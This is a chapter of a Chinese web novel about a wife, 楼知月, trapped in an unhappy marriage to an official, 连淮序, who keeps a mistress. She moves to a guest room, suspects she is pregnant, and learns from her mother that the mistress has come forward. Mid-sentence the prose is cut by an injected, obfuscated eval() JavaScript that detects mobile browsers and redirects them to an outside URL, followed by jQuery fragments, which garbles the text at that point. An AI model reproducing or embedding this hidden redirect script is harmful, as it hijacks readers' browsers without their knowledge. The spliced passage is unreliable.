21. 可笑

作品:《成婚十六年

    “没有我同意,你这辈子都不可能和离。”


    连淮序话里讥讽之意尤为明显,“你难道忘了,你父亲让你嫁给我的目的。你想和离,他知道吗?”


    只这一句话,令楼知月霎时间失去了和离的勇气。


    她要和离的决定没有和任何人说,除了闻风听雨,不会有人支持她。


    想都不用想,父亲绝对会否决她的决定,连母亲也只会劝她忍耐。


    楼知月怔愣着,视线里男人脸上的讥笑刺着她的眼,她无法做到像那些泼妇一样对他破口大骂,骂他卑鄙,骂他无情。


    卧房内沉寂良久,才响起连淮序的声音。


    “你最好安生些,离了首辅夫人的头衔,还有谁会搭理你?”


    他慢条斯理地理着里衣,抬眼瞥她,见她失魂落魄地站在桌案旁,身形单薄,摇摇欲坠,好似下一瞬就会倒下。


    要出口的话吞了一半回去,“只要你继续安分地待在连府里做你的主母,这些日子你犯的错,我可以既往不咎。”


    楼知月忍不住笑了出来,“既往不咎?”


    她不知道连淮序哪来的脸说这四个字,她做错了什么了?还要他宽宏大量?


    楼知月知道自己现在是和离不成了,只要连淮序去楼父那一说,楼父定会来“兴师问罪”。


    但她不会放弃。


    她低了头,努力缓和自己的呼吸,强迫自己镇定下来。


    “你说的对,我不该这么想。”


    她的语气听起来似乎是真的认识到自己错了,连淮序凝视她良久,昏暗的光线里看不清她的脸庞,也就不知道她现在的表情。


    他一直觉得她识时务,当然不会在这个时候犯错。


    “你知道就好。”连淮序淡淡说完,不再看她一眼,去床榻上休息。


    从头到尾,情绪激动的人只有楼知月,而他反应平淡,即便是楼知月说过分的话,他最多也只是恼怒了片刻,甚至都算不上恼怒。


    这让楼知月觉得自己好似个小丑,在连淮序面前表演完一出戏,自己演得投入,他却觉得无趣,一丝波动都无。


    楼知月没有动,她望着床榻上的人影,头一次生出了与他共躺在一张床上很恶心的感觉。


    母亲说的对,她确实该两只眼睛闭着,不闻不问,这样就不会知道他与别的女子接触过,更不会因为知道他不干净后,与他相处会感觉到恶心。


    她看着床上的人影,越看胃里越难受,像是有只手在里面翻滚,很想呕。


    这股不适越来越强烈,她再也忍不住,掉头往外头跑。


    躺在床上的男人眼睛睁都没睁,任由她离开。


    “夫人,你哪里不舒服?”闻风跟着楼知月跑出去,里头的动静她听了个七七八八,先前楼知月吩咐过不让她进去,又怕会出事,便在外头一直候着。


    “倒茶来……”楼知月扶着墙,一手捂住胸口张嘴干呕。


    她也不知道自己哪里不舒服,只想呕,可什么都呕不出来,反倒弄得红了眼眶,泪水模糊了视线。


    闻风急急去卧房里倒来茶,动作太急,发出的声音很大,传到里间,男人被吵得睁开眼,往外头偏头。


    不过他也没有去看楼知月的意思,只瞥了一眼就转回来,闭上眼继续休息。


    天气冷,闻风端着茶走了一圈,被屋外的冷风一吹,茶凉了。


    楼知月没有要闻风去煮热茶,就着这盏茶喝了。冷茶入口,流进胃里,与连淮序一样凉薄。


    手捏紧茶盏,她定定望着眼前夜空,一颗星也无,漆黑得如她看不见光的未来。


    她忽然想到楼父通知她嫁给连淮序的那一晚,也是与今日一样的黑。


    或许从一开始就错了,她那时应该尝试着抵抗,拒绝父亲的命令,追求自己喜欢的,而不是为了报答父母的养育之恩,听他们的话嫁给连淮序。


    她勾了勾唇,笑容凄凉。


    闻风在她身后心疼不已,轻轻拍了拍她后背,小声问:“夫人,您好些了吗,要不奴婢去叫府医来看看?”


    楼知月摇了头,抬手擦去唇边水渍,吩咐道:“去把客房收拾一下,今晚我……不在卧房休息。”


    她看都不看里头一眼,一脚迈出卧房。


    闻风倒是不觉得楼知月此举有什么不妥,只是觉得不该是楼知月去客房,应是连淮序去才对。


    不过这话不好说出来,被有心人听去,定会告诉连老夫人,届时楼知月就会有麻烦。


    “唉。”


    闻风重重叹了口气,立刻去收拾。


    楼知月站在屋檐下,由着外头冷风掠过,竟然不觉得冷。


    大概是与连淮序吵得令她太激动,身子都气得冒火。


    先回来的不是闻风,是听雨。


    她磨磨蹭蹭走过来,盯着楼知月看,但不敢说话。


    楼知月仰起脸朝她笑了笑,让她回去休息。这两日晚上与连淮序说话时,她都特地避开听雨,不想让她听到这些。


    听雨聪明得很,就算她避着,也能从楼知月脸上表情看出来。


    她眨了眨眼,只望着楼知月,不说话,就这么陪着她。


    楼知月很庆幸自己有这么两个知心人陪着,若不是有她们在,在这楼府的十几年根本熬不下去。


    她朝听雨招了招手,摸着她脑袋,笑道:“你不困吗?”


    听雨摇头,“奴婢陪着夫人,不困。”


    楼知月下意识轻抚自己的腹部,望着听雨的眼里带了温柔。


    若是是个女儿,大抵会与听雨一样闹腾得很。不过这样也好,院子里就会热闹许多,她也便不会坐着,愣愣望着窗外空荡荡的庭院,愣神许久。


    连府虽与别的世家大族一般奢华,但终究还是冷寂的,叫人孤独得很。


    闻风听雨陪着楼知月去了客房,闻风特地铺了几层被子,客房里没准备地龙,晚上难免冷。


    闻风准备了好几个汤婆子,先热了被褥,等被褥暖和些了再歇息。


    楼知月先坐着歇息,听雨在一旁逗她笑。虽然笑不出来,但还是配合着笑了笑,免得她们担心。


    闻风心里不是滋味,想到今日在别院里看到的那女子,心下也和楼知月想的一样,敢在外面养人,就算今日改过了,谁能保证他明日不会再犯?


    可和离哪有那么简单,楼太师不答应,逼着楼知月继续在连府待着,楼知月若是坚持要和离,届时怕是连楼府的门都进不去。


    这事办的,唉!


    闻风正胡思乱想着,那边传来楼知月的声音,问她可准备好了。


    她一个激灵回神,伸手探了探,被褥里暖和了,连忙道:“已经暖和了,夫人快来歇息吧。”


    楼知月躺下后,闻风听雨退了出去,谁都没有提晚上发生的事。


    许是今日外出疲劳,加之晚上与连淮序争执耗费精气神,一入暖和被褥,很快便陷入沉睡中。


    又可能是,身边没有那个让她觉得恶心难受的人,她就觉得舒适。


    夜深人静,屋外寒风掠过,窗户咔哒作响,卧房内安安静静,那急躁的呼吸声尤为明显。


    连淮序蓦然睁眼,朝发出声响的位置看去。


    以往楼知月都会将窗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344433|198189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    户关严实了才歇息,现在已经近子时,窗户依旧乱响,她也没有回来歇息。


    是想让他亲自去请她?


    连淮序起身,自己去关紧门窗。卧房内目光所及之处,没有任何人影。


    他抿紧了唇,眼神冷下来。


    三十岁的人还耍小孩子脾气,真是越活越回去了。


    连淮序躺回只有他一人的床,闭上眼,当做没有发现楼知月并不在卧房内休息。


    天将明时,他一睁眼,侧头往床里侧看,空荡荡的里侧宛如在嘲笑他,居然会去关心一个不知好歹的人。


    连淮序掀开被褥起身,去换官袍,那一抹绯红在提醒他,那晚楼知月发疯将他官袍烧了,他不追究,她还变本加厉,如今都敢分房睡。


    谁家妻子会如她这般无理取闹?


    连淮序一甩衣袖,脸色铁青地出了卧房。闻风正在庭院内,一看到他出来,低下头没说话,连“老爷”也不喊了。


    他睨视她而过,只字不提一句楼知月,离开望舒阁。


    闻风没作声,守在客房外,等待楼知月醒来。


    这一日楼知月没什么事要做,加上现在寿宴不用她负责,一直闲着,破天荒的要绣肚兜。


    闻风一眼就知她这是为肚子里的孩子准备的,听雨好奇得很,问来问去,闻风一敲她脑袋,让她跟着学。


    听雨拒绝道:“我不要,我怕戳到手。”


    楼知月但笑不语,要不是这些日子发生的事,她还想不到要亲自给孩子绣肚兜。


    只是绣着绣着,她又想到连淮序和李韶华,胃里又一阵恶心,险些呕出来。


    闻风隐晦地提醒她:“夫人,还是叫府医来看看吧,您这身子,许是……”


    楼知月知道她说的是什么意思,觉得自己是孕吐了。


    为了让她放心,也让自己安心,叫来府医瞧了,府医还是那句话,莫要操劳过度,仔细身子。


    知道她身子没事,闻风才彻底放下心。


    晚上连淮序回来,楼知月本打算如昨晚一样去客房睡,却被他冷冰冰提醒:“你与我分房,传出去,别人会怎么想?你父亲会怎么想?”


    楼知月咬了牙,忍着不适和他同床共枕,后半夜才勉强睡着。


    天还未亮,就被他叫醒,叮嘱她明日寿宴的事。


    “若是出了差错,你该知道后果。”


    连淮序说完,不等她说话,出了卧房。


    楼知月静静躺着,睁开眼望着帷幔,渐渐红了眼眶。


    连老夫人寿宴这日,连淮序还要去当值半日,午后才可回来。


    楼知月并不想上赶着去讨好人,况且连老夫人已经吩咐过,今后不用她负责寿宴,她便待在望舒阁里,让连怀鸾她们去忙。


    有人来请她去帮忙,她就说自己身子不适,不方便。


    楼知月是不怕他们去连淮序那告自己,这命令是连老夫人吩咐的,她不过是照做。


    接近午时时,楼母终于来了。


    闻风将楼母带到望舒阁,楼知月刚唤了一声母亲,就被楼母质问道:“连淮序可是背着你在外养了外室?”


    楼知月心一沉,愣神望着楼母,颤声说:“您是从哪听来的——”


    “人都拦到我面前了,你不知道?”楼母心急,“我刚到连府,就被一女子拦下马车,要不是我将她扣下,她就要来你府里闹了!”


    楼知月脑中嗡嗡作响,她以为自己不去找李韶华麻烦,对方就会老老实实待在那间别院里。


    她总是把人想得太好,以至于毫无防备地被伤害。


    真是可笑。